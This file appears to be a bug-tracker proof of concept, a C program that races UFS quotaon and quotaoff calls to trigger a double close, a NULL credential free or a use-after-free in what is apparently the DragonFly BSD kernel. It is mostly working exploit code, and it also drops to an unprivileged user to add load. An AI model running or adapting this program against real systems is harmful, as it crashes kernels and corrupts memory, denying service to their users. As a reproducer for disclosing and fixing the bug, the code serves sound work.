DF-3120 / qt_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * DF-3120 PoC v2: unsynchronized UFS quotaon/quotaoff mount-state machine. * * ufs_quotaoff() (sys/vfs/ufs/ufs_quota.c:495) never tests QTF_CLOSING * (set at :505, read only by ufs_dqget at :762) and shares no lock with * ufs_quotaon() or another ufs_quotaoff(). vfs_busy() in ufs_quotactl * (ufs_vfsops.c:141) is a shared unmount pin, not mutual exclusion. * * Two threads passing the qvp!=NULLVP check at :503 double-execute: * - double vn_close(qvp) at :519 -> vrele() on refcnt-0 vnode * -> KKASSERT (vfs_lock.c:354) or silent refcount desync -> UAF * - second crfree(ump->um_cred[type]) at :521 with um_cred == NOCRED * (== NULL, ucred.h:82) -> NULL-deref panic in crfree (kern_prot.c) * - stale scan's dqrele->dqsync after :520 cleared um_quotas * -> panic("dqsync: file", ufs_quota.c:909) / VOP_WRITE on closed vp * * v2: 8 rotating quota files so a double close usually hits a vnode * whose refcount is really 0 (KKASSERT) instead of stealing a ref * from a same-file re-quotaon; 4 off threads; children poll * /tmp/QTSTOP so they exit cleanly; main logs to stderr. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <sys/stat.h> #include <sys/types.h> #define SUBCMDMASK 0x00ff #define SUBCMDSHIFT 8 /* kernel Q_* constants are pre-shifted (<<8); cmds = (Q_cmd << 8) | type */ #define QCMD(cmd, type) (((cmd) << SUBCMDSHIFT) | ((type) & SUBCMDMASK)) #define Q_QUOTAON 0x0100 #define Q_QUOTAOFF 0x0200 #define Q_GETQUOTA 0x0300 #define Q_SYNC 0x0600 #define USRQUOTA 0 int quotactl(const char *, int, int, void *); #define CTRL "/qtmnt/ctrl" #define CHURN_DIR "/qtmnt/churn" #define NQF 8 static char qf[NQF][32]; static volatile int stop = 0; static unsigned long n_on[2], n_off[4], e_on[2], e_off[4]; static const char * qf_path(int i) { return (qf[i % NQF]); } static void * thr_on(void *arg) { long id = (long)arg; unsigned long n = 0; char path[32]; snprintf(path, sizeof(path), "/qtmnt/ctrl%d", (int)id); while (!stop) { if (quotactl(path, QCMD(Q_QUOTAON, USRQUOTA), 0, (void *)qf_path(id + n)) == 0) n_on[id]++; else e_on[id]++; n++; } return (NULL); } static void * thr_off(void *arg) { long id = (long)arg; char path[32]; snprintf(path, sizeof(path), "/qtmnt/ctrl%d", (int)id); while (!stop) { if (quotactl(path, QCMD(Q_QUOTAOFF, USRQUOTA), 0, NULL) == 0) n_off[id]++; else e_off[id]++; } return (NULL); } static int stopped(void) { static struct stat sb; if (stat("/tmp/QTSTOP", &sb) == 0) return (1); return (stop); } /* unprivileged: Q_SYNC needs no privilege (ufs_vfsops.c:126) */ static void nobody_child(int kind) { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) return; int devnull = open("/dev/null", O_RDWR); dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2); setgid(65534); if (setuid(65534) != 0) _exit(2); if (kind == 0) { /* sync child */ for (;;) { quotactl(CTRL, QCMD(Q_SYNC, USRQUOTA), 0, NULL); quotactl(CTRL, QCMD(Q_GETQUOTA, USRQUOTA), -1, (void *)0x1000); if (stopped()) _exit(0); } } else { /* churn children */ char path[128], buf[4096]; unsigned long i = 0; memset(buf, 'A', sizeof(buf)); for (;;) { snprintf(path, sizeof(path), "%s/c%d.%lu", CHURN_DIR, kind, i++); int fd = open(path, O_CREAT | O_RDWR, 0644); if (fd >= 0) { write(fd, buf, sizeof(buf)); fsync(fd); close(fd); unlink(path); } if ((i & 0x1f) == 0 && stopped()) _exit(0); } } } int main(int argc, char **argv) { int runtime = argc > 1 ? atoi(argv[1]) : 240; pthread_t ton[2], toff[4]; int i; unlink("/tmp/QTSTOP"); mkdir(CHURN_DIR, 0777); chmod(CHURN_DIR, 0777); { int j; for (j = 0; j < 8; j++) { char p[32]; snprintf(p, sizeof(p), "/qtmnt/ctrl%d", j); int fd = open(p, O_CREAT | O_RDWR, 0644); if (fd >= 0) close(fd); } } for (i = 0; i < NQF; i++) { snprintf(qf[i], sizeof(qf[i]), "/qtmnt/q%d", i); int fd = open(qf[i], O_CREAT | O_RDWR, 0600); if (fd >= 0) close(fd); } quotactl(CTRL, QCMD(Q_QUOTAON, USRQUOTA), 0, qf_path(0)); nobody_child(0); /* unpriv sync */ nobody_child(1); /* unpriv churn */ nobody_child(2); for (i = 0; i < 2; i++) pthread_create(&ton[i], NULL, thr_on, (void *)(long)i); for (i = 0; i < 4; i++) pthread_create(&toff[i], NULL, thr_off, (void *)(long)i); sleep(runtime); stop = 1; for (i = 0; i < 2; i++) pthread_join(ton[i], NULL); for (i = 0; i < 4; i++) pthread_join(toff[i], NULL); creat("/tmp/QTSTOP", 0644); sleep(2); fprintf(stderr, "SURVIVED on=%lu/%lu off=%lu,%lu,%lu,%lu " "(onerr=%lu/%lu offerr=%lu,%lu,%lu,%lu)\n", n_on[0], n_on[1], n_off[0], n_off[1], n_off[2], n_off[3], e_on[0], e_on[1], e_off[0], e_off[1], e_off[2], e_off[3]); return (0); } |